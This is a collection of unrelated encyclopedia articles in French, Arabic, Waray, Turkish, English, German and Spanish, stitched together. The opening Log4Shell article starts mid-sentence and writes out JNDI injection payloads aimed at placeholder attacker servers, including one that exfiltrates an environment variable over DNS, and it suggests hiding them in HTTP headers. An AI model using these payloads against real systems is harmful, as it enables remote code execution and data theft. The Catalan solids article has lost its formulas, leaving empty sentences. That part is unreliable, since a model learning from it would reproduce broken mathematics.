, également connue par son numéro CVE-2021-44228, est une vulnérabilité zero-day exploitée par exécution de code arbitraire et touchant l'utilitaire Java Log4j. Cette vulnérabilité est divulguée à Apache par l'équipe de sécurité cloud d'Alibaba le 24 novembre 2021 et publiée le 9 décembre 2021.

La vulnérabilité tire parti du fait que Log4j ne vérifie pas les requêtes LDAP et JNDI. Cela permet aux attaquants d'exécuter du code Java arbitraire sur un serveur ou un autre ordinateur. Les services concernés incluent iCloud, l'édition Java de Minecraft et Steam. LunaSec a caractérisé la vulnérabilité comme  et Tenable, comme . L'Apache Software Foundation, dont Log4j est un projet, a attribué à Log4Shell une note CVSS de 10, la note la plus élevée possible.

Historique

Log4j est un framework de journalisation open source qui permet aux développeurs de logiciels d'enregistrer diverses données au sein de leur application. Ces données peuvent également inclure une entrée utilisateur. Il est utilisé de manière omniprésente dans les applications Java, en particulier les logiciels d'entreprise. La bibliothèque est ainsi utilisée dans des logiciels de bureautique, dans des serveurs ou des systèmes embarqués comme dans certaines voitures.

Initialement écrit en 2001 par , log4j fait maintenant partie des , un projet de l'Apache Software Foundation.

L'exploitation de la vulnérabilité CVE-2021-44228 passe par l'insertion d'un appel JNDI dans une requête. Si la requête est enregistrée dans les journaux gérés par une version vulnérable de Log4J, alors la vulnérabilité se déclenche.

Les appels JNDI sont utilisés pour rédiger des journaux de manière dynamique, par exemple pour insérer dans les entrées du journal les résultats d'un calcul complexe géré par un système tiers.

Exploitation
La CVE-2021-44228 peut être utilisée avec des charges utiles de la forme :
 ${jndi:ldap://serveur_pirate/message_malveillant}
ou encore
 ${jndi:dns://serveur_dns/entrée_dns}
Ces charges utiles génèreront respectivement des appels via le protocole LDAP ou DNS, vers un serveur contrôlé par un tiers.

Un pirate peut aussi utiliser ce mécanisme pour provoquer une exfiltration de données, via un appel à des variables Java comme les variables de l'environnement utilisateur, avec une charge de la forme :
 ${jndi:dns://serveur_dns/${env:user}}
Dans ce cas, le serveur qui exécute la version vulnérable de Log4J enverra le résultat de la commande ${env:user} sur le serveur DNS externe.

Une attaque peut ainsi facilement être réalisée à partir d'un service d'écoute DNS, comme DNSLog, puis une charge utile est créée qui génèrera un appel vers ce service d'écoute. Afin de maximiser les chances de réussite de l'attaque, les pirates insèreront la charge utile dans des éléments classiquement enregistrés comme les entêtes HTTP.

Atténuation
Les correctifs de cette vulnérabilité ont été rendus disponibles le 6 décembre 2021, trois jours avant la publication de la vulnérabilité, dans la version 2.15.0-rc1 de Log4j. Le correctif inclut la restriction des serveurs et des protocoles pouvant être utilisés pour les recherches, qui peuvent être configurés à l'aide de plusieurs propriétés système. Cela remplace la propriété système log4j2.formatMsgNoLookups, qu'il est recommandé d'utiliser pour atténuer la vulnérabilité dans les versions précédentes (jusqu'à 2.10.0) en la définissant sur true. Pour les versions antérieures à 2.10.0, la classe org.apache.logging.log4j.core.lookup.JndiLookup doit être supprimée du classpath.

Toutes les fonctionnalités utilisant JNDI, sur lesquelles cette vulnérabilité est basée, seront désactivées par défaut à partir de la version 2.15.1.

Les versions plus récentes du JRE atténuent également cette vulnérabilité en bloquant le chargement du code distant par défaut, bien que des vecteurs d'attaque existent toujours dans certaines applications. Plusieurs méthodes et outils ont été publiés dans les paquets Java pour aider à détecter l'utilisation de versions log4j vulnérables.

Les autorités recommandent de déployer les correctifs de sécurité dans les plus brefs délais.

Réponse et impact
Aux États-Unis, la directrice de la Cybersecurity and Infrastructure Security Agency (CISA) Jen Easterly a qualifié la vulnérabilité de « critique » et a conseillé aux fournisseurs de prioriser les mises à jour logicielles. Le Centre canadien pour la cybersécurité (CCCS) a appelé les organisations à prendre des mesures immédiates. L'agence allemande analogue, l'Office fédéral de la sécurité des technologies de l'information (BSI), a accordé son niveau de menace le plus élevé à la vulnérabilité, qualifiant la menace d'extrêmement critique.

Selon la société de cybersécurité , plusieurs adresses IP parcouraient des sites Web pour rechercher les serveurs présentant la vulnérabilité. L'Agence du revenu du Canada a temporairement fermé ses services en ligne après avoir été mise au courant de la vulnérabilité, tandis que le gouvernement du Québec a fermé près de  de ses sites Web à titre de « mesure préventive ».

Les administrateurs système ont été invités à évaluer la situation et à mettre en place des mesures d'atténuation le plus rapidement possible, soit en mettant à jour la bibliothèque logicielle, soit en désactivant les recherches à l'aide de la propriété système.

Notes et références

Liens externes

Exploit (informatique)
Apache Software Foundation
2021 en informatique

Log4Shell


زهرة الخرجي (15 يناير 1962 -)، ممثلة كويتية.

عن حياتها
دخلت المجال الفني بعام 1983 في مسرح الطفل وذلك في مسرحية دفاشة، واستمرت بعدها بالمشاركة بالأعمال الفنية في المسرح والتلفاز، إلا أن نجاحها ظهر بعد مشاركتها في مسلسل مدينة الرياح والذي قدمت فيه شخصية حيزبونة وحققت من خلالها نجاحًا كبيرًا، توالت أعمالها الفنية بعد ذلك وقامت ببطولات عدة في التلفزيون والمسرح، مع توزع أعمالها على دول الخليج.

إصابتها بالسرطان
أصيبت بعام 2005 بسرطان الثدي، وانتقلت بعد ذلك إلى لندن لتلقي العلاج، وبقيت هناك عامين إلى أن شفيت منه.

حياتها الخاصة
تزوجت قبل دخولها للمجال الفني وأنجبت ابنا وابنة، وبعد انفصالها عن زوجها دخلت إلى المجال الفني مما حدا بطليقها إلى منعها من رؤيتهم. وفي عام 2005 تزوجت من المخرج أحمد الحليل ، إلا أنهما انفصلا بعام 2009.

مجال الغناء
قدمت في عام 1987 ألبوم حمل اسم «غلطانة» ويتكون من خمس أغاني.

أعمالها

من أعمال التلفزيون

من المسرحيات

في السينما

روابط خارجية

المراجع

أشخاص على قيد الحياة
ممثلات تلفزيون كويتيات
ممثلات كويتيات في القرن 20
ممثلات مسرح كويتيات
مواليد 1381 هـ
مواليد 1962
ناجون من سرطان الثدي

زهرة الخرجي


An Sobralia blancoi in uska species han Liliopsida nga ginhulagway ni Robert Louis Dressler ngan Franco Pupulin. An Sobralia blancoi in nahilalakip ha genus nga Sobralia, ngan familia nga Orchidaceae.

Mabibilngan ini ha Costa Rica. Waray hini subspecies nga nakalista.

Mga kasarigan

Sobralia

Sobralia blancoi


Birsel Vardarlı Demirmen, (12 Temmuz 1984, İzmir) eski Türk millî basketbolcudur. 13 sezon boyunca formasını giydiği Fenerbahçe'de 675 maça çıkıp, 22 kupa kazanmıştır. Emekliliğini açıkladıktan sonra 7 numaralı forması Fenerbahçe tarafından emekli edilmiştir. Oyun kurucu pozisyonunda oynayan Birsel Vardarlı, 820 asist ile EuroLeague tarihinin en çok asist yapan oyuncularından bir tanesidir.

Toplamda 243 maça çıktığı Türkiye A millî basketbol takımı formasıyla 2011 Avrupa Şampiyonası'nda gümüş, 2013 Avrupa Şampiyonası'nda ise bronz madalya kazanmıştır.

Profesyonel kariyeri
2005 yılında profesyonel kariyerine Migrosspor'da başlamıştır. 2007 Türkiye Kupasında sürpriz bir şekilde takımını finale çıkartan Birsel Fenerbahçe'ye 22 sayı atsa da takımının 70-68'lik mağlubiyetini engelleyememiştir. Bu performansıyla tüm dikkatleri üzerine çeken Türk oyuncu büyük takımların radarına girer. 2007-08 sezonudan itibaren Fenerbahçe forması giymektedir. 25 Kasım 2007 tarihinde Burhaniye ile oynanan karşılaşmada 12 sayı 12 ribaund 12 asist ile oynayarak kadın basketbolunda ender görülen Triple-double yapma başarısı göstermiştir. Özellikle maçların son periyotlarında en kritik zamanlarda gösterdiği performansla "Bayan Son Çeyrek" lakabını alan Birsel Vardarlı Demirmen; Fenerbahçe ile şu zamana kadar 8 TKBL, 5 Türkiye Kupası, 6 Cumhurbaşkanlığı Kupası kazanmıştır. Euroleague Kadınlar'da da ikişer kez ikinci ve dördüncü olmuşlardır. 9 Temmuz 2011'de Fenerbahçe ile olan sözleşmesini 2015'e kadar uzatmıştır.  2012 yılında Ankara'da yapılan Olimpiyat elemelerinin MVP'si seçilen Birsel Vardarlı Demirmen ayrıca 2013'te senenin en iyi Kadın Basketbolcusu ödülüne aday görülme onuruna da erişmiştir. 2014 yılında da Yılın En Başarılı Kadın Sporcusu seçilen Birsel Vardarlı Demirmen'in İstanbul'da kendi adına kurduğu BV7 Spor Kulübü da bulunmaktadır. 2013'ten beri kaptanlığını da yaptığı Fenerbahçe ile olan sözleşmesi 2017 sonuna kadar uzatılmıştır.

2018-19 sezonu ardından 13 yıl boyunca Fenerbahçe kadın basketbol takımının formasını giyen Vardarlı basketbolu bıraktığını açıkladı.

Millî takım kariyeri
Birsel ilk kez 2005 Akdeniz Oyunları turnuvasında Türkiye kadın millî basketbol takımında yer alarak millî takım formasını terletmiş ve bu turnuvada takımıyla şampiyonluk yaşayıp altın madalya almıştır. Millî takımıyla Eurobasket 2011'de gümüş 2013'te ise bronz madalya kazanma başarısı göstermiştir. Ayrıca millî takımla Dünya dördüncülüğü ve Olimpiyat beşinciliği de bulunmaktadır.

Başarıları

Kulüp
Kadınlar Basketbol Süper Ligi
 Şampiyon (10): 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2016, 2018, 2019
Türkiye Kupası
 Şampiyon (6): 2007, 2008, 2009, 2015, 2016, 2019
Cumhurbaşkanlığı Kupası
 Şampiyon (6): 2007, 2010, 2012, 2013, 2014, 2015
EuroLeague Women
 İkincilik (3): 2013,2014,2017
 Üçüncülük: 2016
 Dördüncülük (2): 2012, 2015

Millî Takım
Akdeniz Oyunları
 Şampiyon (1): 2005
EuroBasket Kadınlar
 İkincilik (1): 2011
 Üçüncülük (1) 2013

Bireysel
 MVP
 Tadım Türkiye Kupası: 2005-06
 İTÜ Başarı Ödülleri
 Yılın En Başarılı Kadın Sporcusu: 2014

Özel hayatı
25 Haziran 2014 tarihinde Emre Demirmen ile hayatını birleştirmiştir.

Kaynakça

Dış bağlantılar
 Birsel Vardarli BLOG
 Birsel Vardarli YOUTUBE

1984 doğumlular
Türk kadın basketbolcular
Migrossporlu basketbolcular
Fenerbahçe SK kadın basketbolcuları
Yaşayan insanlar
Türk Olimpiyat basketbolcuları
2012 Yaz Olimpiyatları basketbolcuları
İzmir doğumlu basketbolcular
Oyun kurucu basketbolcular

Birsel Vardarlı Demirmen


Türk İşbirliği ve Koordinasyon Ajansı Başkanlığı ya da kısaca TİKA, Türkiye Cumhuriyeti Kültür ve Turizm Bakanlığı'na bağlı olan kurum yurt dışı ofisleri aracılığıyla Türkiye'nin dış yardımlarını organize eder. Restorasyon, sağlık, eğitim, tarım ve hayvancılık, idari ve sivil altyapıların geliştirilmesi gibi birçok alanda faaliyet göstermektedir.

1991'de Sovyetler Birliği (SSCB) dağıldıktan sonra birçok Türk devleti bağımsızlığını kazanmış, Türkiye Cumhuriyeti'nin bu devletlere sosyal, ekonomik ve kültürel alanda sağlayacağı destekleri uygulayacak ve koordine edecek bir organizasyona ihtiyaç duyulmuştur. Bu ihtiyaç doğrultusunda, TİKA 1992 yılında Dışişleri Bakanlığı'na bağlı olarak kuruldu. 28 Mayıs 1999 'da Başbakanlık'a bağlandı.

TİKA, Orta Asya, Balkanlar, Afrika, Doğu Asya ve Latin Amerika ülkeleri başta olmak üzere, yaklaşık 150 ülkede görev yapan, Türkiye Cumhuriyeti Devleti'nin tek Teknik Yardım Kuruluşudur. TİKA Merkez Teşkilatına ilave olarak, 59 ülkede bulunan 61 Program Koordinasyon Ofisi ile çok geniş bir coğrafyada ve bütün sektörlerde çalışmalarını sürdürmektedir.

TİKA, ortak tarihi mirasın korunması amacıyla başta Balkanlar, Orta Asya olmak üzere birçok Osmanlı eserininin restorasyonunu gerçekleştirmiştir. Son zamanlarda en çok dikkat çeken projelerin başında ise Kanuni Sultan Süleyman'ın kayıp mezarının bulunması geliyor. Diğer taraftan sağlık alanında Somali, Filistin, Sudan gibi ülkelerde inşa ettikleri hastaneler en önemli projelerin başında geliyor. Bunun dışında birçok ülkede okul, sağlık ocağı, idari binaların inşası ve tadilatı gibi fiziksel altyapıların güçlendirmesi için birçok projeyi hayata geçiren TİKA, değişim programları ile birçok alanda uzman eğitimleri gerçekleştirmektedir. Tarım ve hayvancılık alanında ekipman desteği, başta Afrika olmak üzere birçok bölgede su kuyularının açılması alanlara doğru faaliyetler çeşitlilik göstermektedir.

TİKA Türkoloji Projesi
Türk İşbirliği ve Kalkınma İdaresi Başkanlığı başkanlığınca Türkiye dışında Türkçe öğretimini yaygınlaştırmak için başlatılan projedir.

Yirmiye yakın üniversitede Türkoloji bölümleri açılmıştır.

Başkanlar

Ayrıca bakınız
 Kamu diplomasisi

Kaynakça

Dış bağlantılar

Uluslararası kalkınma ajansları
1992'de kurulan kuruluşlar


In mathematics, a Catalan solid, or Archimedean dual, is a polyhedron that is dual to an Archimedean solid. There are 13 Catalan solids. They are named for the Belgian mathematician Eugène Catalan, who first described them in 1865.

The Catalan solids are all convex. They are face-transitive but not vertex-transitive. This is because the dual Archimedean solids are vertex-transitive and not face-transitive. Note that unlike Platonic solids and Archimedean solids, the faces of Catalan solids are not regular polygons. However, the vertex figures of Catalan solids are regular, and they have constant dihedral angles. Being face-transitive, Catalan solids are isohedra.

Additionally, two of the Catalan solids are edge-transitive: the rhombic dodecahedron and the rhombic triacontahedron. These are the duals of the two quasi-regular Archimedean solids.

Just as prisms and antiprisms are generally not considered Archimedean solids, bipyramids and trapezohedra are generally not considered Catalan solids, despite being face-transitive.

Two of the Catalan solids are chiral: the pentagonal icositetrahedron and the pentagonal hexecontahedron, dual to the chiral snub cube and snub dodecahedron. These each come in two enantiomorphs. Not counting the enantiomorphs, bipyramids, and trapezohedra, there are a total of 13 Catalan solids.

List of Catalan solids and their duals

Symmetry
The Catalan solids, along with their dual Archimedean solids, can be grouped in those with tetrahedral, octahedral and icosahedral symmetry.
For both octahedral and icosahedral symmetry there are six forms. The only Catalan solid with genuine tetrahedral symmetry is the triakis tetrahedron (dual of the truncated tetrahedron). The rhombic dodecahedron and tetrakis hexahedron have octahedral symmetry, but they can be colored to have only tetrahedral symmetry. Rectification and snub also exist with tetrahedral symmetry, but they are Platonic instead of Archimedean, so their duals are Platonic instead of Catalan. (They are shown with brown background in the table below.)

Geometry

All dihedral angles of a Catalan solid are equal. Denoting their value by  , and denoting the face angle at the vertices where  faces meet by , we have
.
This can be used to compute  and , , ... , from ,  ... only.

Triangular faces
Of the 13 Catalan solids, 7 have triangular faces. These are of the form Vp.q.r, where p, q and r take their values among 3, 4, 5, 6, 8 and 10. The angles ,  and  can be computed in the following way. Put , ,  and put
.
Then
,
.
For  and  the expressions are similar of course. The dihedral angle  can be computed from
.
Applying this, for example, to the disdyakis triacontahedron (,  and , hence ,  and , where  is the golden ratio) gives  and .

Quadrilateral faces
Of the 13 Catalan solids, 4 have quadrilateral faces. These are of the form Vp.q.p.r, where p, q and r take their values among 3, 4, and 5. The angle can be computed by the following formula:
.
From this, ,  and the dihedral angle can be easily computed. Alternatively, put , , . Then  and  can be found by applying the formulas for the triangular case. The angle  can be computed similarly of course.
The faces are kites, or, if , rhombi.
Applying this, for example, to the deltoidal icositetrahedron (,  and ), we get .

Pentagonal faces
Of the 13 Catalan solids, 2 have pentagonal faces. These are of the form Vp.p.p.p.q, where p=3, and q=4 or 5. The angle can be computed by solving a degree three equation:
.

Metric properties
For a Catalan solid  let  be the dual with respect to the midsphere of . Then  is an Archimedean solid with the same midsphere. Denote the length of the edges of  by . Let  be the inradius of the faces of ,  the midradius of  and ,  the inradius of , and  the circumradius of . Then these quantities can be expressed in  and the dihedral angle  as follows:
,

,

,

.

These quantities are related by ,  and .

As an example, let  be a cuboctahedron with edge length . Then  is a rhombic dodecahedron. Applying the formula for quadrilateral faces with  and  gives , hence , , , .

All vertices of  of type  lie on a sphere with radius  given by
,
and similarly for .

Dually, there is a sphere which touches all faces of  which are regular -gons (and similarly for ) in their center. The radius  of this sphere is given by
.

These two radii are related by . Continuing the above example:  and , which gives , ,  and .

If  is a vertex of  of type ,  an edge of  starting at , and  the point where the edge  touches the midsphere of , denote the distance  by . Then the edges of  joining vertices of type  and type  have length . These quantities can be computed by
,
and similarly for . Continuing the above example: , , , , so the edges of the rhombic dodecahedron have length .

The dihedral angles between -gonal and -gonal faces of  satisfy
.

Finishing the rhombic dodecahedron example, the dihedral angle  of the cuboctahedron is given by .

Construction

The face of any Catalan polyhedron may be obtained from the vertex figure of the dual Archimedean solid using the Dorman Luke construction.

Application to other solids

All of the formulae of this section apply to the Platonic solids, and bipyramids and trapezohedra with equal dihedral angles as well, because they can be derived from the constant dihedral angle property only. For the pentagonal trapezohedron, for example, with faces V22.214.171.124, we get , or . This is not surprising: it is possible to cut off both apexes in such a way as to obtain a regular dodecahedron.

See also
 List of uniform tilings Shows dual uniform polygonal tilings similar to the Catalan solids
 Conway polyhedron notation A notational construction process
 Archimedean solid
 Johnson solid

Notes

References
 Eugène Catalan Mémoire sur la Théorie des Polyèdres. J. l'École Polytechnique (Paris) 41, 1-71, 1865.
 .
 .
 Alan Holden Shapes, Space, and Symmetry. New York: Dover, 1991.
  (The thirteen semiregular convex polyhedra and their duals)
  (Section 3-9)
  Chapter 4: Duals of the Archimedean polyhedra, prisma and antiprisms

External links

 Catalan Solids – at Visual Polyhedra
 Archimedean duals – at Virtual Reality Polyhedra
 Interactive Catalan Solid in Java
 Download link for Catalan's original 1865 publication – with beautiful figures, PDF format

Polyhedra

Catalan solid


Berk Neziroğluları (* 1. Februar 1991 in Beyoğlu) ist ein türkischer Fußballspieler, der derzeit für Manisaspor spielt.

Karriere

Verein
Berk Neziroğluları begann mit dem Vereinsfußball in der Jugend von Galatasaray Istanbul und erhielt hier im Sommer 2009 einen Profivertrag. Dennoch spielte er fast ausschließlich für die Reservemannschaft. Dennoch nahm er auf Anordnung vom Trainer Frank Rijkaard und dessen Co-trainer Johan Neeskens neben seiner Tätigkeit bei der Reservemannschaft auch am Training der Profis teil. Er wurde auch in einigen Begegnungen in auf die Ersatzbank gesetzt und kam so zu einer Süper-Lig-Begegnung. Mit der Reservemannschaft Galatasarays, der Galatasaray A2, gelang ihm zum Saisonende 2011/12 die Meisterschaft der Reservemannschaften in der A2 Ligi.

Im Sommer 2011 wechselte er dann zum Zweitligisten Adanaspor und spielte hier in seiner ersten Spielzeit in sieben Ligabegegnungen. In der Spielzeit 2011/12 schaffte er es mit seinem Verein bis ins Playoff-Finale der TFF 1. Lig. Im Finale unterlag man in der Verlängerung Kasımpaşa Istanbul 2:3 und verpasste somit den Aufstieg in die Süper Lig erst in der letzten Begegnung.

Zur Rückrunde der Saison 2013/14 wechselte er zu 1461 Trabzon. Bereits zum Saisonende verließ er diesen Klub Richtung Erstligist Sivasspor. Diesen Verein verließ er im Frühjahr 2015 Richtung Zweitligist Manisaspor.

Nationalmannschaft
Neziroğluları durchlief ab der türkischen U-16 die meisten türkischen Jugendnationalmannschaften.

Er nahm mit der türkischen U-17-Nationalmannschaft an der U-17-Fußball-Europameisterschaft 2008 und erreichte hier das Halbfinale.

Erfolge
 Mit Galatasaray A2
 2010/11 Meisterschaft der A2 Ligi

Mit Manisaspor
 Meister der TFF 2. Lig und Aufstieg in die TFF 1. Lig: 2015/16

 Mit türkische U-17-Jugendnationalmannschaft
 U-17-Fußball-Europameisterschaft 2008 – Halbfinalist

Weblinks

Einzelnachweise

Fußballspieler (1461 Trabzon)
Fußballspieler (Adanaspor)
Fußballspieler (Galatasaray Istanbul)
Fußballspieler (Manisaspor)
Fußballspieler (Sivasspor)
Türke
Geboren 1991
Mann

Berk Neziroğluları


Worms 2011: Armaggedon es la edición más reciente (para dispositivos móviles) de la popular serie de videojuegos de artillería y estrategia militar multijugador Worms.
Esta entrega, junto con su antecesora Worms 2010, fue desarrollada por Electronic Arts, a diferencia de otras ediciones que han sido desarrolladas por THQ Wireless.

Mochila de Armamento
La mochila de armamento contiene en total 36 armas y herramientas de distintos tipos y funciones. Son las siguientes:
 Bazooka: La más utilizada y famosa arma del juego. Es un arma de potencia ajustable que dispara un obús que explota al contacto. Su dirección puede ser afectada según la potencia del viento. Causa un daño máximo de 40 puntos.
 Granada: Otra de las típicas armas de Worms. La granada clásica es un dispositivo temporizado a tres segundos que puede explotar en tierra o en aire. Inflige un daño máximo de 35 puntos.
 Jet pack: La mochila propulsora presentada en Worms 2008, con la capacidad de llevar al gusano usuario, dentro de un tiempo límite de 100 tiempos (50 segundos reales), a cualquier parte del terreno de juego. Al no ser un arma de contacto, no produce daño alguno a los gusanos enemigos.
 Puño de fuego: Con esta arma, el gusano golpea con el puño al enemigo más próximo, causándole 30 puntos de daño. El gusano atacante debe colocarse justo a un lado del objetivo para que el ataque surta efecto.
 Mina: Un pequeño dispositivo explosivo que puede ser colocado en la posición del gusano usuario y activado por el siguiente gusano que pase cerca de éste. Provoca un daño máximo de 30 puntos.
 Ataque Aéreo: Igual al Golpe Aéreo de Worms Forts 3D y similar al Ovni de Worms 2008. El jugador define un objetivo de ataque y del cielo caerán 5 o 6 misiles alineados horizontalmente hacia el punto escogido, provocando daños de hasta 80 puntos.
 Misil teledirigido: Es un obús que se proyecta con un cañón parecido al de la bazooka, sólo que éste se puede dirigir ubicando el cursor en el punto deseado y proporcionando la potencia y dirección adecuadas. Daño máximo de 30 puntos.
 Granada de fragmentación: Similar a la granada común, solo que está al detonar se fragmenta en otros 5 explosivos de igual potencia. Daño máximo de 45 puntos.
 Granada divina: Igual a la Granada Santa de Worms Forts 3D. Al explotar puede causar daños desde 25 puntos hasta la muerte del gusano.
 Escopeta: Esta arma puede ser accionada dos veces en cada turno que se utilice; es recomendable que se use cerca del objetivo, ya que no su proyectil no alcanza largas distancias. Cada impacto produce un daño máximo de 25 puntos.
 Uzi: Es un sub-fusil que dispara varios proyectiles en la dirección a la que se apunta. La dirección a la que se apunta puede ser cambiada mientras el arma es accionada. Produce 30 puntos de daño.
 Patada espartana: Arma de contacto. El gusano se coloca un casco espartano y propina una patada al objetivo (el cual debe estar justo al lado del atacante), provocándole 30 puntos de daño. Si este alcanza a otros gusanos, los impulsará con la misma fuerza de la patada y les causará el mismo daño.
 Hacha de guerra: Arma de contacto en forma de hacha que hunde al objetivo en el terreno de juego, causando 30 puntos de daño
 Dinamita: Una pieza de dinamita que a diferencia de otros utensilios se coloca, no se lanza. Provoca hasta 90 puntos de daño.
 Bomba Banana: Igual a su homólogo en Worms Forts 3D, un plátano explosivo que al detonar proyecta seis mini-bananas de igual potencia explosiva que detonan al contacto. Daño letal.
 Teletransporte: Por medio de un cursor se selecciona el lugar a donde se quiere transportar al gusano y se activa.
 Cañón Gauss: Es un cañón de fuerza magnética que dispara un proyectil guiado por láser capaz de atravesar todo cuanto se cruce en su trayectoria, con excepción de los gusanos, a quienes hace un daño máximo de 30 puntos.
 Cóctel molotov: Es una botella llena de gasolina con un trozo de tela prendida en llamas en la boquilla que explota al contacto con cualquier obstáculo, provocando un incendio en el terreno cercano a la zona de impacto. Daño máximo de 60 puntos.
 Oveja: Un animal-arma con la apariencia de una oveja que camina y salta por el terreno de juego hasta ser detonada por el usuario. Su trayectoria depende de la forma del terreno, ya que los desniveles pueden hacerla rebotar y cambiar de dirección a una no deseada. Daño máximo de 50 puntos.
 Antibúnker: Un misil que cae verticalmente desde el cielo hasta un punto definido, el cual puede ser seleccionado con el cursor. Si cae directamente sobre un gusano, explotará inmediatamente causando un daño máximo de 30 puntos; en cambio, si cae sobre tierra, la atravesará hasta llegar al agua o hasta llegar a un búnker de gusanos (sub-nivel de tierra habitada por gusanos) donde explotará. Si al caer toca tierra y a un gusano simultáneamente, este último recibirá un daño de hasta 90 puntos.
 Golpe con Napalm: Es un ataque teledirigido en el que se hacen caer seis misiles del cielo y que antes de tocar tierra explotan, liberando seis cargas de fuego que se esparcen y provocan un incendio sobre la zona seleccionada del terreno de batalla. Causa un daño de hasta 120 puntos
 Bate de béisbol: Esta arma de contacto consiste en un bate de béisbol con el que se golpea al gusano oponente. Su efecto puede ser la reducción de 30 puntos de vida de la víctima o la expulsión del terreno de batalla hacia el agua.
 Bola de dragón: Otra arma de contacto, en la que se lanza una bola de fuego azul al gusano enemigo más próximo causándole 30 puntos de daño máximo.
 Súper Oveja: Una versión mejorada de la Oveja, ya que al igual que esta última es lanzada por tierra, pero al ser activada comienza a volar por los aires pudiendo ser dirigida por el usuario hacia el punto deseado, explotando al contacto con el terreno.
 Búfalo mentiroso: Similar al Rinoceronte de Worms Forts 3D, solo que esta ocasión es un búfalo que provoca una explosión al chocar con algún obstáculo; esto lo hace tres veces y luego explota definitivamente. Si choca varias veces con un gusano puede causar daños desde 50 puntos hasta la muerte del objetivo.
 Soplete: Herramienta que sirve para perforar agujeros subterráneos o "búnker" para ocultar al gusano en ellos. Si es aplicado en contra de un gusano puede causar daño letal.
 Martillo neumático: Una herramienta que sirve únicamente para perforar hoyos verticales en la tierra y ocultarse en ellos.
 Bomba de Gas: Es un arma que envía una ráfaga de gas tóxico que reduce 5 puntos de vida a los gusanos alcanzados por el gas. Parece poco, pero al final de cada turno del juego, ya sea propio o del rival, los gusanos afectados por el gas sufren un daño de 5 puntos que, al cabo de 20 turnos, simplemente acabará con la vida de éstos gusanos.
 Kamikaze: Un arma poco recomendable de usar, ya que el gusano que la accione saldrá disparado horizontalmente en la dirección en la que esté mirando y luego explotará. Si llega a toparse con algún otro gusano mientras vuela, este sufrirá 30 puntos de daño máximo.
 Ataque relámpago: Realmente no es un ataque, sino una ayuda ya que, a través de un relámpago proveniente de una nube gris en el cielo, se puede revivir a un gusano (apuntando a su tumba), o aumentar 30 puntos de vida a cualquier gusano (apuntando hacia el elegido).
 Asno de cemento: Uno de los ataques más devastadores del juego. Se apunta con el cursor al punto deseado y se acciona. De inmediato caerá del cielo la escultura en cemento de un asno sonriente y golpeará el punto elegido, rebotando y cayendo de nuevo hasta perforar por completo el terreno. El gusano que corra con la mala suerte de ser atacado con un Asno de cemento podrá recibir daños mortales de hasta 700 puntos.
 Armaggedon: Este es el ataque más potente de Worms 2011. Al ser activado comenzarán a caer meteoros al azar desde el cielo, impactando indiscriminadamente casi todos los puntos del terreno de batalla. Por lo regular este ataque elimina a todos los gusanos del terreno pero, de no hacerlo, causará daños que van desde los 35 hasta los 120 puntos.

Herramientas Especiales
 Prismáticos o binóculos: Esta herramienta sirve para examinar el terreno de juego y ubicar tanto a los gusanos enemigos como a los propios.
 Saltar Turno: Como su nombre lo dice, esta herramienta te permite pasar tu turno a voluntad. Cuando es accionada, el gusano en turno salta sarcásticamente una cuerda en señal de que salto su turno.
 Rendición: Herramienta que sirve para salir de la batalla y dar la victoria al equipo contrario. Cuando se acciona, el gusano en turno saca y agita una pequeña bandera blanca en señal de la rendición de su equipo.

Incentivos
 Cajas de armas: Son cajas de color marrón claro que caen del cielo, y contienen en su interior un arma cuya identidad es revelada hasta que un gusano coge la caja.
 Botiquín: Son cajas blancas con una cruz roja en el medio que aumentan en 25 puntos la salud del gusano que la recoja.

Items Especiales
 Tanques de combustible: Son tanques de color verde oscuro con una pequeña llama dentro que explotan al contacto con cualquier ataque.
 Minas: Como las de la mochila de armamento, están prefijadas en ciertos lugares del terreno de juego en cada nivel.

Modos de juego

Modo Campaña
El tradicional modo de Campaña, dónde se deben completar 24 misiones distintas divididas en 4 grupos de 6 misiones cada uno. Cada Grupo tiene un grado de dificultad y un equipo rival que lo identifica:

Waartans
Es el primer equipo enemigo al que se debe enfrentar. Son gusanos adornados con un casco de soldado espartano, sus armas preferidas son el Puño de fuego, el Hacha de guerra, la Patada Espartana, la Granada y la Bazooka. Su terreno de juego es el terreno Medieval, compuesto por tierra y pasto con enredaderas y catapultas ficticias.

Touch Drowners
Es el segundo equipo enemigo al que se debe enfrentar. Son gusanos vestidos con un casco de fútbol americano, sus armas preferidas son el Cóctel molotov, la Granada, la Bazooka y la Granada de fragmentación. Su terreno de juego es el Campo de football, compuesto de pasto con "X" y "O" de tiza, y podios y silbatos gigantes ficticios.

Rratatat
Es el tercer equipo enemigo al que se debe vencer en el juego. Son gusanos con sombreros en forma de rebanada de gruyer que aluden a ratones espaciales, sus armas preferidas son el Cóctel Molotov, la Granada, la Bazooka y la Granada de fragmentación. Su terreno de juego es una gran masa de tierra con textura de queso con satélites y naves ficticias.

Choke 'n' Sink
Es el cuarto y último equipo al que se debe enfrentar. Son gusanos vestidos con una boina blanca aludiendo a arquitectos profesionales. Sus armas a utilizar son prácticamente impredecibles. Su terreno de juego es un terreno de construcción con grúas y bulldozers ficticias. El nombre de este equipo se deriva de una variación de la frase "Divide y vencerás" de Julio César

Modo de partida rápida
En este modo, la computadora genera al azar una partida entre el usuario y la I. A., la cual selecciona aleatoriamente uno de los cuatro equipos anteriormente mencionados para jugar. En este modo están disponibles todas aquellas armas que ya se hallan desbloqueadas en el modo campaña.

Modo de partida personalizada
En este modo, las opciones de batalla pueden ser modificadas.

Modalidades
 Deathmatch: Una partida común. Gana el equipo que quede en pie al final del encuentro.
 Muerte rápida: No intentes correr o esconderte, ya que todos los gusanos poseen solamente 1 punto de vida, lo que implica que cualquier daño sea letal.
 Dios: En este modo, todos los gusanos son inmortales, excepto en el agua.
 B&G: Son las siglas de "Bazooka & Grenade" o Bazooka y Granada, ya que solo estas armas están disponibles en este modo, además del Jetpack y las Herramientas Especiales.
 Comprador: Sólo las armas básicas están disponibles al principio de la partida. En cada turno caen cajas de armas y botiquines que ayudarán al jugador en turno.
 Macarras: En este modo solo están disponibles el Jetpack, Puño de fuego, Patada espartana, Teletransporte, Hacha de guerra, Bola de dragón, Bate de béisbol y Kamikaze.

Jugadores
 Tú contra la I. A.: El usuario disputa la partida contra la CPU (No disponible en los modos Comprador y Macarras)
 Pasa y juega: El usuario disputa la partida contra otra persona en el mismo dispositivo.
 Pasa y juega x3: El usuario disputa la partida contara otros dos usuarios en el mismo dispositivo.
Así mismo, en el modo "Tú contra la I. A." puedes modificar la habilidad del oponente entre las siguientes:
 Estratega
 Vengativo
 Gallito
 Temerario

